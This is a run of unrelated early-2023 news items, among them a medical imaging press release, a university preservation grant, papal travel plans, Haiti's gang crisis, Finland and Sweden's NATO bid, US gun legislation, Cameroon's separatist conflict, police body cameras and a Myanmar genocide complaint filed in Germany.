Reno, Nevada (UroToday.com) -- Lantheus Holdings, Inc., a company committed to improving patient outcomes through diagnostics, radiotherapeutics, and artificial intelligence solutions that enable clinicians to Find, Fight and Follow disease, showcased artificial intelligence (AI) data at the 2022 European Association of Nuclear Medicine (EANM) Annual Meeting in Barcelona, Spain.A summary of the data presented is included below.Anand A, et.al. PROMISE-criteria inspired quantitative response in PSMA PET to androgen deprivation in patients with treatment naive castration sensitive prostate cancer. 35th Annual Congress of the European Association of Nuclear Medicine Scientific Program, OP-060, p. 34 (Eur J Nucl Med Mol Imaging (2022) 49 (Suppl 1): S495).Wang W. et.al. Evaluation of PROMISE criteria inspired intraprostatic PSMA-score against PIRAD-Index in patients undergoing radical prostatectomy. Eur J Nucl Med Mol Imaging (2022) 49 (Suppl 1): S489.Brynolfsson J, et.al. A Novel Adaptive Approach to Automatic Segmentation of PSMA-positive Lesions in Positron Emission Tomography (PET) of Prostate Cancer. Eur J Nucl Med Mol Imaging (2022) 49 (Suppl 1): S596.Source: "Lantheus Presentations At The European Association Of Nuclear Medicine Annual Meeting Showcased Artificial Intelligence Data". 2022. Lantheus Holdings, Inc.
USM Receives Historic Preservation Grant for Bennett Auditorium from Mississippi Department of Archives and History

Mon, 01/23/2023 - 04:33pm | By: David Tisdale

Bennett Auditorium, which opened in 1930 on the USM Hattiesburg campus, will see improvements funded by a $235,000 Community Heritage Preservation Grant from the Mississippi Department of Archives and History.

One of The University of Southern Mississippi (USM) Hattiesburg campus most recognized and beloved buildings  Bennett Auditorium  is the beneficiary of a $235,000 preservation grant awarded to the school from the Mississippi Department of Archives and History as part of its Community Heritage Preservation Grant Program.

An announcement of the grant was made Jan. 23 in Bennett Auditorium, with USM President Dr. Joe Paul and State Rep. Missy McGee of Hattiesburg sharing details of its benefits to the building. The nearly 100-year-old Neoclassical style, two-story structure seats approximately 1,000 and is named for the University's second president, Claude Bennett (1928-33) who envisioned the need for and pursued construction of the facility.

The grant will fund needed repair and restoration of the buildings interior decorative plaster and exterior windows  considered the most distinctive elements of the historic structure - as well as modernized lighting controls.

State Rep. Missy McGee of Hattiesburg, a USM alumna, gives details about a grant from the Mississippi Department of Archives and History during a press conference at Bennett Auditorium on the USM Hattiesburg campus as USM President Dr. Joe Paul looks on. The grant will fund improvements to the historic campus icon that was completed in 1930. (USM photos by Kelly Dunn)

McGee worked with USM Foundation Director Stace Mercier and School of Music Director Colin McKenzie, along with the USM Physical Plants Architect and Manager of Space Utilization Sara Hill, in securing the grant, with Hill writing the grant request resulting in the university receiving the full 75 percent matching fund available through the program.

This work will help us not only keep this historic structure beautiful, but also in use for future generations of Golden Eagles and community members so that they too might attend University Forum lectures by the greatest minds from across the country, and witness some of the best artists and musicians, said Dr. Paul. He continued in giving thanks to McGee, as well as Hill, Mercier, and McKenzie for their efforts.

Southern Miss could not serve its students and its communities without the support of the state legislature, and we are so fortunate to have one of our own representing us in Missy McGee in the Mississippi House of Representatives, Dr. Paul further noted. Missy, whose district, District 102, includes Southern Misss Hattiesburg campus, loves her hometown and loves her alma mater, and she passionately and effectively advocates for those she represents.

McKenzie said he is thrilled with the awarding of the grant and also praised Hill for her outstanding work in writing the grant request and securing the maximum funding available.

Its wonderful to know that we can do what is needed through this support from the state to help preserve this beautiful, venerable campus icon for the benefit of our university community and generations of student music performers to come, he said.

Completed in 1930 and named in 1972, Bennett Auditorium is located behind the Aubrey Keith Lucas Administration Building in the center of the historic district of the campus. Architect Vinson B. Smith Jr. of Gulfport designed Bennett Auditorium, as well as the Lucas Administration Building and The Hub. Designated a historic landmark by the State of Mississippi in 1986, it has and continues to be host to a variety of concerts, forums, graduations, and other special events.

Some of the worlds most renowned musicians, authors, scientists, entertainers, intellects, and political leaders have graced the Bennett Auditorium stage over the last century, including Maya Angelou, James Baldwin, Kurt Vonnegut, Ray Charles, Yo-Yo Ma, Winton Marsalis, Steve Martin, U.S. Supreme Court Justice Antonin Scalia, and the late Mississippi Gov. William Winter, among so many others.

The Community Heritage Preservation Grant program was established in 2001, and since then has provided more than $56 million dollars to help restore almost 400 schools, courthouses and other historic properties located in communities throughout Mississippi. According to McGee, in just the past four years Hattiesburg has been awarded close to $700,000 through the program to make improvements to historic properties in the city.

Im very proud Bennett Auditorium will continue to serve as centerpiece of our beautiful campus, and now will be lovingly protected and restored for the use of students, home to the Southern Miss Symphony Orchestra, and enjoyed by the entire community for generations to come, she said.

PHOTO: State Rep. Missy McGee of Hattiesburg, a USM alumna, gives details about a grant from the Mississippi Department of Archives and History during a press conference at Bennett Auditorium on the USM Hattiesburg campus as USM President Dr. Joe Paul looks on. The grant will fund improvements to the historic campus icon that was completed in 1930. (USM photos by Kelly Dunn)

PHOTO: Bennett Auditorium, which opened in 1930 on the USM Hattiesburg campus, will see improvements funded by a $235,000 Community Heritage Preservation Grant from the Mississippi Department of Archives and History.
Vatican Radio and Vatican News participated in a conference in Podgorica, Montenegro, to encourage debate about the contribution of faith communities in civil society. Father Felipe Herrera-Espaliat called for strengthening trust through transparency and institutional accountability.

By Vatican News

More than thirty years after the end of the fierce Balkan War, the breakaway countries of the former Yugoslavia are still searching for ways to strengthen themselves internally, cooperate with each other and integrate with the rest of Europe. Part of this task involves motivating the diverse members of civil society to become protagonists in the development of their nations. This is the aim of the Smart Balkans project, which coordinates the countries of the so-called Western Balkans: Montenegro, Albania, North Macedonia, Bosnia and Herzegovina, Kosovo and Serbia.

More than 100 representatives of non-governmental organizations, academics, researchers, journalists and activists, recently gathered at the "Elephants in Civic Space" conference in Podgorica, the capital of Montenegro. For two days they reflected on the real and concrete contribution that religions can make to strengthen civil society. Aware that religious communities have been systematically neglected in the restructuring of these nations, citizens today want to build bridges so that religions can contribute to development thanks to their spiritual and social backgrounds.

In light of the general challenges faced by the Western Balkans countries, such as low economic development, slow transition, and problems with the rule of law, it is necessary to point out the contribution of religion and civil society in all these issues. Religion is vital in forming culture, self-awareness, and national identity in the Western Balkans. Therefore, it is essential to discuss its influence on all the areas above, said Aida Daguda, the director of the Center for Civil Society Promotion of Bosnia and Herzegovina.

Aida Daguda, director of the Center for Civil Society Promotion of Bosnia and Herzegovina

Relations of trust and transparency

Although these nations are Muslim and Orthodox majority countries, Vatican Radio and Vatican News were invited to contribute to the discussion. From his Catholic perspective and as an expert in strategic communication, Father Felipe Herrera-Espaliat, editorial coordinator of Vatican News, proposed to strengthen trust between faith communities and the media. "From my experience, I can testify to how much the social and civic contribution of institutions, religious and secular, improves when they cultivate their relations with the multiplicity of their stakeholders in a sustained, transparent and responsible way. An institution needs to be aware that its decisions and actions affect other organizations, both public and private, in various ways. They are all stakeholders amongst whom relations of trust must be established. But trust is not improvised, and institutional relationships are not built overnight. They must be cultivated with actions, patience, sincerity of intentions and, above all, with listening and reciprocal knowledge, the priest pointed out.

Father Felipe Herrera-Espaliat, Vatican News editorial coordinator

Also taking part in the conference was Ylli H. Doci, European Director of the International Leadership Foundation, a prominent pastor of the Evangelical Alliance of Albania, who is also currently Chairman of the Inter-Religious Council of Albania. In his speech, Doci highlighted the social commitment of the Christian churches in their service to the marginalized and their constant struggle for justice, traits which, according to him, reveal how religions are true allies of societies. "One of the biggest challenges that Christian communities are experiencing in today's society is that they are misunderstood, as if they were obscurantist religions, as if they had out-moded ideas about life, as if they were against freedom of life and expression of life in different ways, when in reality we are supposed to be the salt and light of society. If they knew us Christians, based on the Word of Jesus, they would know that we are here to be a blessing for them," the evangelical pastor stated.

Ylli H. Doci, European Director of the International Leadership Foundation and Chairman of the Inter-Religious Council of Albania

Challenges for faith communities

At the conclusion of the conference "Elephants in the Civic Space", the participants appreciated the tenor of the debate and the new perspectives that will allow for the broadening of cooperation between faith communities and the empowerment of civil society. One of the main challenges is to promote the participation of the younger generation. This was expressed by Gjergj Nikaj, representative of the Institute for Environmental Policy from Albania, for whom "education is a challenge, as is the migration of young people, who do not find a point of reference in their country. Religions and civil society organizations must make life more attractive so that people can stay with dignity in their country, helping people to find a cultural reference and a religious identity that allows them to feel they belong to something.

Gjergj Nikaj, representative of the Institute for Environmental Policy from Albania

The Smart Balkans project, funded by the Norwegian government, seeks to empower civil organizations to play a stronger and more active role in creating peaceful and inclusive societies for sustainable development.
Pope Francis is set to travel to the Democratic Republic of Congo and South Sudan at the end of the month. Both are countries torn and crippled by violence, division and the festering wounds of colonialism.

By Linda Bordoni

Answering questions put to him by reporters regarding insecurity in the two African nations Pope Francis is about to visit, the Director of the Holy See Press Office said there is no specific threat in either country.

Matteo Bruni also affirmed that local authorities have put all security measures in place to guarantee the safety of everyone.

Bruni was speaking during a pre-apostolic journey briefing on Tuesday morning during which he gave a detailed run-down of the Popes visit to the Democratic Republic of Congo and to South Sudan, a visit he had been forced to postpone last July due to health issues.

He noted that the Holy Father will visit the DRC from January 31 to February 3 and then spend two days in South Sudan with the Archbishop of Canterbury and the Moderator of the General Assembly of the Church of Scotland on an ecumenical pilgrimage for peace before returning to the Vatican.

Read also 01/12/2022 Programme for Pope Francis' visit to DRC and South Sudan The Holy See Press Office announces that Pope Francis will travel to the Democratic Republic of the Congo and South Sudan for an ecumenical peace pilgrimage from 31 January to 5 ...

40th apostolic visit abroad

This journey, Bruni added, will be Pope Francis 40th apostolic visit abroad. At its conclusion, he will have visited 60 countries.

He goes to Congo in the footsteps of Pope St. John Paul II who visited the nation in 1980 and 1985. It was a very different country back then, Bruni explained, a former Belgian colony called Zaire. He also noted that the Polish Popes visit was the first papal journey to the African continent since Pope St. Paul VIs visit to Uganda in 1969.

So, he added, this is the 20th papal visit to Africa, the 4th for Pope Francis who went to Kenya, Uganda and Central African Republic in 2015, to Morocco in March 2019, and later to Mozambique, Madagascar and Mauritius in the same year.

Africa, Bruni continued, is where some 20% of the worlds Catholic live, and that percentage is increasing.

He spent time describing the vitality of the Catholic Church in Africa, the large numbers of young Catholics, and he highlighted how Pope Francis dedicates much thought and prayers to Africa as witnessed by his messages, appeals and constant attention.

Read also 14/01/2023 Pope Francis: Africa 'a continent to be valued, not plundered' We publish an excerpt of Pope Francis' interview published online on Friday by Comboni missionaries in Spain in 'Mundo Negro' magazine. The 30-minute interview took place on 15 ...

Changes to the original schedule

The Holy See Press Office Director explained that there have been changes made to the Popes originally planned itinerary in DRC where he was scheduled to visit Goma, in North Kivu, a particularly volatile region. As violence continues to ravage parts of the province, that stop was scrapped.

Not because he was fearful for himself, Bruni said, but because he wanted to be certain that no one would be at risk of attacks while gathering to see the Pope or celebrating Mass with him.

Pope Francis has long desired to travel to predominantly Christian South Sudan but the unstable situation in the country had complicated plans for a visit.

Bruni recalled the spiritual retreat he hosted in the Vatican in April 2019 for South Sudanese leaders and ecclesiastical authorities of South Sudan, during which he knelt at their feet and begged them to give peace a chance and to be worthy fathers of the nation.

A faltering peace deal was signed in the worlds youngest nation country in 2018, putting an end to a five-year civil war that killed 400,000 people. But political strife, poverty, ethnic enmity and climate change continue to devastate the people who are reeling from hunger, violence and lack of governance.
Haiti and its neighbour the Dominican Republic are the key focus points of this meeting, which is has the reduction of gang violence as a particular focus.

By James Blears

The UN Security Council is today meeting about the ongoing crisis in Haiti, trying to find ways to resolve a situation which has critically affected the poorest nation in the Western Hemisphere.

Haiti and neighoring nation the Dominican Republic are a key part of this meeting, along with Special UN Representative Helen La Lime, who will advise on the the latest developments.

On December 21st Haitis Prime Minister Ariel Henri signed a document entitled: "The National Consensus for an inclusive transition and transparant elections", along with political parties, civil organisations and member of the private sector. It stipulates a fourteen-month transition period preparing for a General Election this year, for a new Government to be up and running by next year.



This involves the establishment of a new High Transitional Council and a Control Body, which will be responsible for establishing dialogue amongst the various factions, plus the functioning of public institutions. And they support the immediate deployment of international security assistance as requested by the Prime Minister on October 7th.

This crisis started, then worsened, following the assasination of President Jovenal Moise in July 2021.

Today is the first meeting for members of the Latin American and Caribbean Group. Its new member Mozambique replaces Mexico.

Stopping gang mayhem is one of its primary aims. There can be no lasting peace without this.
Finland's foreign minister suggested Tuesday that the country may consider joining NATO without neighboring Sweden if Turkey continues to block their joint bid to enter the military alliance.

Pekka Haavisto later backpedaled, but his comments were the first time a leading government official in either Nordic country appeared to raise doubts about becoming NATO members together at a time when the alliance is seeking to present a united front in the face of Russia's war in Ukraine.

Sweden and Finland rushed to apply for NATO membership following Moscow's invasion, abandoning their long-standing non-alignment policy. Their accession needs the approval of all existing NATO members, including Turkey, which has so far blocked the expansion, saying Sweden in particular needs to crack down on exiled Kurdish militants and their sympathizers.

On Monday, Turkish President Recep Tayyip Erdogan warned Sweden again not to expect support for its application following weekend protests in Stockholm by an anti-Islam activist and pro-Kurdish groups.

Asked a day later whether it still made sense for Finland to proceed together with the Swedes, Haavisto told broadcaster YLE that his country would have to "evaluate the situation if it turns out that Sweden's application is stalling for a long time to come."

Haavisto later told reporters in Parliament that his comment was "imprecise" and that Finland's ambition to enter NATO jointly with Sweden remained unchanged.

He said he had spoken with NATO Secretary-General Jens Stoltenberg, who had stressed to Haavisto that the military bloc would like to see the two nations join simultaneously.

"But of course there have been raised concerns within NATO on how the (recent) incidents in Sweden will affect the schedule," Haavisto said.

Until now, Sweden and Finland had been committed to joining the alliance together.

"This is the first crack in the so far rather impressive unity between Sweden and Finland," said Paul Levin, director of the Institute for Turkish Studies at Stockholm University. "Finland is currently somewhat of an innocent victim of the continued provocations by Swedish groups critical of NATO accession, protected by the very liberal Swedish freedom of speech laws. If Turkey persists in blocking accession, I suspect that Finland will at some point have to go it alone."

Swedish Foreign Minister Tobias Billstrom said Stockholm was "in contact with Finland to find out what is really meant." In a statement to The Associated Press, he said Sweden respects the "agreement between Sweden, Finland and Turkey regarding our NATO membership."

In a memorandum of understanding signed by the three countries at a NATO summit last year, Sweden and Finland committed not to support Kurdish militant groups and to lift arms embargos on Turkey imposed after its incursion into northern Syria in 2019.

Pro-Kurdish and anti-Turkish demonstrations in Stockholm have complicated the process. On Saturday, a far-right activist from Denmark staged a protest outside the Turkish Embassy in Stockholm where he burned the Quran, Islam's holy book. A separate pro-Kurdish demonstration was held later Saturday in the Swedish capital.

The Swedish government has tried to distance itself from the demonstrations, while insisting that such protests are protected by freedom of speech.

Turkey responded angrily to the protests, canceling a planned visit to Ankara by the Swedish defense minister. Protests were held outside Swedish diplomatic missions in Ankara and Istanbul.

Erdogan slammed Swedish authorities for allowing the Quran-burning demonstration.

"It is clear that those who allowed such vileness to take place in front of our embassy can no longer expect any charity from us regarding their NATO membership application," he said.

He also criticized the pro-Kurdish demonstration, accusing Sweden of letting "terror organizations run wild on your avenues and streets." He said that if Sweden won't show respect to Turkey or Muslims, then "they won't see any support from us on the NATO issue."
As Californians deal with two deadly mass shootings just days apart, President Joe Biden is throwing his support behind gun control measures, including renewing the 1994 assault weapons ban he championed as a senator.

"Even as we await further details on these shootings, we know the scourge of gun violence across America requires stronger action. I once again urge both chambers of Congress to act quickly and deliver this assault weapons ban to my desk, and take action to keep American communities, schools, workplaces, and homes safe," President Biden said in a statement Tuesday following Monday's shootings in Half Moon Bay, California, that left at least seven people dead.

The shootings happened just two days after a gunman killed at least 11 people at a dance studio in Monterey Park, California, as that city's Asian American community was celebrating Lunar New Year weekend.

On Monday, U.S. Senator Dianne Feinstein, a Democrat from California, along with Senators Richard Blumenthal and Chris Murphy, both Connecticut Democrats, introduced a bill to reinstate a federal assault weapons ban, as well as legislation to raise the minimum age to purchase an assault weapon to 21. That ban expired in 2004.

"The constant stream of mass shootings have one common thread: They almost all involve assault weapons. It's because these weapons were designed to kill as many people as quickly as possible," Feinstein said. "It's time we stand up to the gun lobby and remove these weapons of war from our streets or, at the very least, keep them out of the hands of young people."

The Senate's proposed weapons ban, opposed by Republicans and gun rights activists, would block the sale, manufacture, transfer and importation of 205 specific weapons by name that have the features of guns used by the military and outlaws magazines that can hold more than 10 rounds of ammunition.

Democratic Representative David Cicilline will introduce a companion version of the bill in the House of Representatives. Both chambers will need to pass the bill for it to reach Biden's desk to be signed into law.

With Republicans in control of the House of Representatives, there's little chance of the bill passing. Speaker of the House Kevin McCarthy, a California Republican, told reporters on Tuesday he would not take up new gun laws until he knew more about both shootings. Polls show most Republican voters oppose restrictions on the right to bear arms, protected under the Second Amendment.

And with the conservative-leaning Supreme Court overturning a New York gun safety law in June, other states may find their gun restrictions threatened as well, said Jonathan Metzl, a Vanderbilt University sociologist with a focus on gun policies.

"Nothing will happen really until we address not only everyday [gun] legislation, which is important," Metzl told VOA. "But really, the Supreme Court is undermining the gun safety movement right now and in really catastrophic ways."

White House press secretary Karine Jean-Pierre said the administration is considering more executive actions to deal with reducing gun violence.

"But what we believe is that Congress needs to act," she told reporters Tuesday.

In the U.S., there have been more deadly gun violence incidents so far this year than in the same period of any year on record. There have been about 40 mass shootings, defined as incidents with at least four victims shot, across the country in the first three weeks of 2023.

Last June, just more than a month after the mass shooting at a Texas elementary school killed 19 children and two adults and a mass shooting at a Buffalo, N.Y. supermarket killed 10 Black people, Biden signed a bipartisan gun safety bill into law.

The legislation, the first major gun safety regulation passed by Congress in nearly 30 years, includes strengthening background checks for gun buyers between the ages of 18 and 21 and providing incentives for states to pass so-called red flag laws that allow groups to petition courts to remove weapons from people deemed a threat to themselves or others, among other provisions.
The body of 33-year-old Tanzanian Nemes Tarimo, who was killed fighting for Russia in Ukraine, is returning home for burial.

Tanzania says Tarimo agreed to fight for the Wagner Group in exchange for being released from a Russian prison, the second African known to have died that way.

During a press briefing, Tanzanian Foreign Minister Stergomena Tax said Tarimos body was on its way home early Tuesday from Russia.

The minister confirmed Tarimo was serving a seven-year sentence in Russia before he joined the Wagner Group of mercenaries.

She said the group promised Tarimo, who was sentenced in March of last year, that he would be released and paid after fighting for Russia in Ukraine.

Tax said it should be noted that according to the countrys laws, no Tanzanian is allowed to join the army of any country except the Tanzanian Army. She said all Tanzanians should ensure they comply with the laws of their country and the rules and procedures provided.

Tax said Tarimo went to Russia in 2020 to pursue a master's degree at the Russian Technological University in Moscow.

Tanzanian media report he was arrested on drug-related charges, sentenced, and then offered his freedom if he went to war.

Tarimos family say his friends in Russia, where he was studying before his arrest, confirmed his death in late December.

Speaking to VOA Tuesday, his mother Luoida Sambulika said family members were waiting for the body of her son because they were told it would arrive soon. Sambulika said he will not be home until his body arrives.

Tarimos death in Ukraine mirrored that of Zambian national Lemekhani Nyirenda, who was also a student in Russia arrested on drugs charges, then promised freedom if he fought for the Wagner Group.

News of Tarimos death circulated on social media last week with a video showing Russian men in military outfits holding candles around what was purportedly his casket.

In the video, a picture of Tarimo, two medals, and a certificate are placed on the casket, which is draped with a flag of the Wagner Group.

The group has been accused of rights abuses from Syria to Ukraine to the Central African Republic.
Cameroon has denied an announcement that Canada will mediate the African country's separatist conflict, saying such a role was never mandated. Canadas foreign ministry last week announced that Cameroon and some separatist factions had agreed to a peace process, with Ottawa assigned to help.

Cameroonian government spokesman Rene Emmanuel Sadi said Yaounde has never entrusted any country with the role of facilitator or mediator with separatists in its western regions.

In a statement Monday, Sadi said it was up to Cameroons people, institutions, and leaders to seek appropriate ways of solving problems facing their state.

It was a response to Canadian Foreign Affairs Minister Melanie Joly on Friday announcing that Cameroon and some separatist factions had agreed to a peace process.

Her statement said Ottawa had accepted a mandate to act as facilitator and called the agreement a critical first step toward peace.

The Cameroonian governments denial of Canadas mediation deflated hopes for talks to end seven years of fighting that has left thousands of people dead, and hundreds of thousands displaced.

Esther Njomo Omam is the executive director of the aid group Reach Out Cameroon.

"People have been suffering, people have been in pain, and they believed that this Canada-led process for dialogue was a glimmer of hope that could lead to a lasting solution for peace," she said. "The general opinion was that of relief and a sign of hope. When the communique from the minister of communication came out, we sampled opinion, and it was that of frustration."

Canada responded to Cameroons denial Monday saying it was in touch with both sides in the conflict and that Ottawas statement still stands.

Canada had said the parties to the agreement last week included at least six separatist groups: the Ambazonia Governing Council, the Ambazonia Defense Forces, the African Peoples Liberation Movement, the Southern Cameroons Defense Force, the Ambazonia Interim Government, and the Ambazonia Coalition.

A spokesman for the Ambazonia Defense Forces, Capo Daniel, says Yaoundes backing out of the agreement shows it does not want peace.

He says separatist groups will meet in the coming days to decide how to proceed.

"The Ambazonia Governing Council and all the other Ambazonia movements who formed the leading block that represents Ambazonia in the Ambazonia, Cameroon, Canada negotiation process have taken note of this document from Sadi. That is our only response. We have taken note," he said.

Some rebel groups like the Ambazonia Interim Government and the self-declared Republic of Ambazonia have rejected Canada-led talks.

The groups have on social media said only armed conflict would free the people of Ambazonia, an English-speaking state they are fighting to carve out from French-speaking majority Cameroon.

Cameroons government says it is already implementing efforts for peace agreed to during a 2019 national dialogue on the separatist conflict.

Several rebel groups, including those with leaders based in Europe and the United States, did not take part in that dialogue for fear of arrest.

They asked Yaounde to organize talks outside Cameroon with foreign mediators.

Switzerland has also made attempts to mediate the conflict, but with little progress.

Canada says the conflict has killed more than 6,000 people since 2017, displaced 800,000, and deprived 600,000 children of access to education.
Eaton, an intelligent power management company, has opened its Customer Experience Centre (CEC), a new facility in Dubai aimed at providing customers with a wide range of in-person and virtual training resources on a variety of topics, including design, technology and best practice for power applications.

The new Eaton CEC, which is located in the National Industries Park, Jebel Ali, is the first such facility outside Europe and US.

Announcing the launch, Eaton said the new facility will serve as a centre of excellence for the group to showcase, train and demonstrate its products and integrated solutions for industry professionals, end-users and consultants.

It is a state-of-the art feature-ready experience centre that will enable both theoretical and practical training for different types of technologies supporting customers to achieve their sustainability, energy transition and digital transformation targets, it stated.

It will represent an enabler for customers to accelerate the adoption of digital power management solutions in their business.

The Eaton CEC was inugurated by Saeed Mohammed Al Tayer, the managing director and CEO of Dubai Electricity and Water Authority (Dewa) in the presence of senior officials including Dr Mohammed Al Zarooni, Chairman of Dubai Integrated Economic Zone Authority (DIEZ) and Abdulla Bin Damithan, CEO & Managing Director, DP World UAE.

Also, in attendance at the ceremony were Eatons senior leaders in Europe and Middle East as well as Frank Joseph, Commercial Counselor of the Consulate General of the US in Dubai.

Speaking at the opening ceremony, Al Tayer said: "Eaton continues to play a vital role in the UAE, helping customers in power management through smart solutions, in addition to its investments towards sustainability."

"This new state of the art facility is a qualitative addition in this field and will allow Eaton to provide customers with a wide range of in-person and virtual training resources on a variety of topics, including design, technology and best practice for power applications," he stated.

"Dewa is committed to promoting sustainability and digital transformation in the UAE and the region and recognizes that Eatons investment is a positive step in this direction," he added.

Bin Damithan dubbed Eaton as one of the success stories of DP Worlds National Industries Park and also lauded the strategic role they have played in promoting the industrial district.

"As smart trade enablers, we believe in reducing carbon footprint and increasing efficiency at every step of the supply chain. The launch of Eaton's Customer Experience Centre is a testament to the UAE's ambition to increase its target for power generation from clean energy to 30 per cent by 2030," he stated.

The senior official highlighted the commitment of DP World and the National Industries Park to supporting the growth of innovative businesses like Eaton to harness Fourth Industrial Revolution solutions for a reliable, efficient, safe use of energy.

"We look forward to witnessing the company grow in its mission and continue to find DP World as its trusted partner for driving energy transformation," he added.

Eaton Middle East Managing Director Ashraf Yehia said CEC was a reiteration of the global power management firm's deep commitment to the UAE.

"It is not only an important growth market for the company but also a regional technology hub for the Middle East. The establishment of this centre is in line with Eatons commitment to achieving global technology leadership through its focus on innovation and helping our customers address the most critical power management challenges. We deliver technologies that help our customers across the region manage power more efficiently, sustainably and safely," stated Yehia.

"Eaton Middle East is targeting the next-generation of Emirati power management experts and closing the power industry gap with hands-on education, training and industry programs which will give them not only the theory but also the practical experience," he added.-TradeArabia News Service
Policing, it seems, has turned a corner, putting it on a path of increased professionalism, greater public trust and more protection for officers.

The clue was in a recent News story. Amherst Police are upgrading their body cameras and buying more dashboard cameras for squad cars, which will also have cameras showing the back seat. The department is also purchasing enough Tasers to be sure all officers have access to one.

Thats a remarkable development  especially the cameras  in the context of the resistance shown by many police officers within just the past several years. That gear was often seen not just as a threat, but an insult. Plainly, thats changing and its to the benefit of everyone who is not misbehaving, whether police or civilians. This equipment is now basic and should be as routine as a badge and a gun.

Already, Western New Yorkers have reaped the benefits.

Body cameras helped expose the startling brutality of an Erie County sheriffs deputy, Kenneth Achtyl, who was ultimately convicted of assaulting a Bills fan who swore at him after a game. They have aided other police, including in the City of Tonawanda, where they cleared officers of false allegations of excessive force.

Equally important, but given less attention, is the need for cameras within police cars. They give a broader view of actions outside the car, creating a record that can identify the guilty and protect the innocent. Similarly, cameras focused on the back seat show the conduct of anyone  often an unwilling passenger  who occupies that space.

Police sometimes worry, not unreasonably, about maintaining public confidence. Yet, the so-called blue wall of silence has worked against that essential goal, creating distrust. Body cameras are part of the solution. They can relieve the many honest officers of the pressure to tolerate misconduct that hurts their reputation in the communities they serve.

Part of the reason for this important change in approach may simply be that modern technology has put a video camera in everyones pocket. In the past, some officers tried to prevent civilians from recording them in public places, but the effort often boomeranged. Wise police officials understand that such recording are both legal and inevitable. Former Buffalo Police Commissioner Daniel Derenda instructed his officers that way.

Derek Chauvin, the former Minneapolis police officer/murderer learned the consequences of 21st century misconduct after a civilian recorded him in the act of killing George Floyd in 2020. It was important for police not just to acknowledge the inevitability of cellphone cameras, but to create their own record of interactions with the public. Like recorded interrogations, that change is improving policing and building stronger relations within their communities.

Amherst police are also investing in Tasers, which can be a nonlethal way of subduing individuals who need to be restrained. The weapons deliver an electric pulse that can temporarily incapacitate a subject, giving officers time to safely restrain them. The plan is to ensure that all uniformed officers have access to one of these weapons.

This is forward-looking policing. Amherst is doing right by its officers and its residents. If any communities or police departments are still hesitating, they arent doing themselves any favors.

  

Whats your opinion? Send it to us at lettertoeditor@buffnews.com. Letters should be a maximum of 300 words and must convey an opinion. The column does not print poetry, announcements of community events or thank you letters. A writer or household may appear only once every 30 days. All letters are subject to fact-checking and editing.
The death count has risen to 11 in Saturdays shooting near the small city of Monterey Park near Los Angeles. Nine others were injured in the attack at a dance club that was popular with older Chinese Americans as Chinese New Year celebrations got underway. The suspected gunman, who was also Asian, died of a self-inflicted gunshot. Mike OSullivan spoke with residents about the tragedy that has shaken the quiet community.
Campaign group Fortify Rights and 16 Myanmar nationals have filed a genocide and war crimes complaint against Myanmars military leaders in Germany in the latest bid to leverage the principle of universal jurisdiction against the countrys generals.

Fortify Rights announced the case Tuesday in Thailand, which shares a long and porous border with Myanmar, and says a 215-page complaint was filed with Germanys federal public prosecutor on January 20. The prosecutors office must now decide whether to open an investigation.

The prosecutors office confirmed receipt of the complaint in an email to VOA but declined further comment.

Universal jurisdiction holds that some crimes, including genocide, are so heinous they transcend national borders and that they and their perpetrators can be tried anywhere.

Fortify Rights CEO Matthew Smith said Germany has some of the most comprehensive laws covering universal jurisdiction in the world and already is handling more than 100 such cases.

His said his groups complaint, provides new evidence that the Myanmar military systematically killed, raped, tortured, imprisoned, disappeared, persecuted and committed other acts that amount to genocide, crimes against humanity and war crimes in violation of German law.

The complaint includes evidence showing that senior military junta officials exercised superior responsibility over subordinates who committed crimes, and that those officials knew about their subordinates crimes and failed to take any action to prevent the crimes or to punish the perpetrators, Smith added.

He told VOA the complaints targets include junta leader Min Aung Hlaing but would not identify the rest. He said they included members of the Myanmar military and others.

The complaint covers their alleged abuses, both against the countrys ethnic minority Rohingya in 2016 and 2017 and against the broader population since the military toppled a democratically elected government in February 2021.

The United States and others have accused the military of genocide over its treatment of the Rohingya after a 2017 wave of murder, rape and arson that drove more than 700,000 of the mostly Muslim group to neighboring Bangladesh. Rights groups say the police and military also have killed thousands of civilians across the country since the coup in their bid to put down an ongoing armed resistance and civil disobedience movement to the juntas rule.

Myanmars military rulers have denied wrongdoing. They say the militarys activities in 2016 and 2017 were legitimate counter-insurgency operations and that it has been using proportionate force since the coup against terrorists to restore peace and order.

Fortify Rights says the mixed makeup of the complainants reflect the breadth of abuse. About half are Rohingya; the rest come from some of the countrys many other ethnic groups, including the Arakan, Chin, Karen, Karenni, Mon and majority Burmans.

One of the Rohingya, a woman identified only as F.K. for her safety, claims to have survived an attack on her village in 2017 by soldiers and others under their control. According to the complaint, she says she saw them beating, stabbing and killing her neighbors and burning their homes, and heard them raping her daughter-in-law in an adjacent room.

We [are counting] on the judiciary in Germany to open an investigation. This is the time to end the perpetrators impunity to ensure that they no longer get away with their crimes, said Nickey Diamond, a Burmese complainant who fled the post-coup violence and now lives in Germany.

If we do not act, serious crimes go unpunished, the perpetrators even repeat their crimes, he said at the announcement of the complaint via video link.

In addition to interviews with hundreds of alleged abuse survivors and witnesses, Fortify Rights says the complaint, which comes with more than 1,000 pages of supporting material, includes information and leaked documents from military and police deserters and other sources.

The rights group says it also fills gaps in other cases against the military already underway at the International Court of Justice and International Criminal Court and in another universal jurisdiction case in Argentina. All three focus on the militarys alleged crimes against the Rohingya before the coup. The ICJ holds only states, not individuals, criminally responsible. Argentinas courts, unlike Germanys, said Smith, do not prescribe punishment specifically for genocide.

In yet another universal jurisdiction case, Turkeys public prosecutors office is investigating Myanmars military for crimes against humanity over the alleged torture of prisoners, in the first case filed against the junta for alleged crimes committed since the 2021 coup.

None of the accused in any of those cases or in the complaint just filed in Germany are in custody. But Smith is hopeful that could change if and when Germanys public prosecutor decides to launch an investigation.

Ultimately the objective is for the German authorities to issue arrest warrants, and in the event that that happens, things such as extradition to Germany become very real, he said. This will send a message to members of the Myanmar military junta and others that are responsible for crimes in Myanmar that theyre not safe, theyre not safe to travel in our world.
The United Nations and the government of Haiti reiterated their appeal Tuesday for an international force to quickly deploy to the island nation to help subdue an unprecedented level of gang violence that has terrorized the population.

"Gangs have increasingly resorted to the deliberate killing of men, women and children with snipers positioned on rooftops," the U.N.'s top official in Haiti, Helen La Lime, told the U.N. Security Council. "Dozens of women and children as young as 10 years old have been brutally raped, as a tactic to spread fear and destroy the social fabric of communities under the control of rival gangs."

She said two coalitions of gangs  the G9 coalition and G-Pep  have caused unprecedented levels of violence as they fight over turf in the capital's largest slum, Cite Soleil. Gangs reportedly control about 60% of Port-au-Prince.

